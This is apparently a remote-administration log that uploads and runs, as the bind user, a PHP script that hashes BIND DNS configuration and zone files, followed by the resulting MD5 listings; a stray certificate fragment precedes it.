6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:06:22: Establishing a connection
2026-01-03 19:06:22: 

PUT: /tmp/pkp665813

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:06:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp665813; rm /tmp/pkp665813'

2026-01-03 19:06:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:06:49: Establishing a connection
2026-01-03 19:06:57: Establishing a connection
2026-01-03 19:06:57: 

PUT: /tmp/pkp285288

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:06:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp285288; rm /tmp/pkp285288'

2026-01-03 19:06:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
